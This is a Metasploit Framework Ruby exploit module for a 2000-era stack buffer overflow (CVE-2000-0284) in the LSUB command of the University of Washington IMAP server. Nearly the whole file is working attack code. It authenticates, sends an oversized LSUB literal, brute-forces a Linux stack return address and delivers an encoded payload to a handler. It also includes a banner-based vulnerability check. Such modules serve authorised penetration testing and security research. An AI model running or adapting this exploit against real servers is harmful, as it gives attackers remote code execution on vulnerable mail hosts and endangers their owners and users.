root / modules / exploits / linux / imap / imap_uw_lsub.rb @ master
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##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote |
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Rank = GoodRanking |
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include Msf::Exploit::Brute |
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include Msf::Exploit::Remote::Imap |
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def initialize(info = {}) |
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super(update_info(info,
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'Name' => 'UoW IMAP server LSUB Buffer Overflow', |
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'Description' => %q{ |
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This module exploits a buffer overflow in the 'LSUB' |
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command of the University of Washington IMAP service. |
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This vulnerability can only be exploited with a valid username |
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and password. |
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},
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'Author' => [ 'patrick', 'jduck' ], |
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'License' => MSF_LICENSE, |
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'Version' => '$Revision$', |
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'References' =>
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[ |
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[ 'CVE', '2000-0284' ], |
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[ 'OSVDB', '12037' ], |
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[ 'BID', '1110' ], |
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[ 'URL', 'http://www.milw0rm.com/exploits/284' ], |
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], |
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'Privileged' => false, |
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'Payload' =>
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{
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'Space' => 964, |
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'BadChars' => "\x00\x0a\x0d\x2f", |
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'StackAdjustment' => -3500, |
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}, |
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'Platform' => 'linux', |
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'Targets' =>
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[ |
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# ['RedHat 6.2 - IMAP4rev1 v12.264', { 'Ret' => 0xbffff310 }],
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[ 'Linux Bruteforce',
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{
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'Platform' => 'linux', |
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'Offset' => 1064, |
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'Bruteforce' =>
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{
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'Start' => { 'Ret' => 0xbffffdfc }, |
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'Stop' => { 'Ret' => 0xbfa00000 }, |
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'Step' => 200 |
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} |
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}, |
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] |
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], |
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'DisclosureDate' => 'Apr 16 2000', |
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'DefaultTarget' => 0)) |
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end
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def check |
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connect |
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disconnect |
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if (banner =~ /IMAP4rev1 v12.264/) |
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return Exploit::CheckCode::Vulnerable |
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end
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return Exploit::CheckCode::Safe |
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end
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def brute_exploit(addresses) |
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print_status("Trying 0x%.8x ..." % addresses['Ret']) |
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if (not connect_login) |
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raise RuntimeError, "Unable to log in!" |
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end
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req = "a002 LSUB \"\" {%d}\r\n" % target['Offset'] |
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sock.put(req) |
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buf = sock.get_once |
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sploit = payload.encoded + rand_text_alphanumeric(64) + [addresses['Ret']].pack('V') + rand_text_alphanumeric(32) + "\r\n" |
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sock.put(sploit) |
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handler |
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disconnect |
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end
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end
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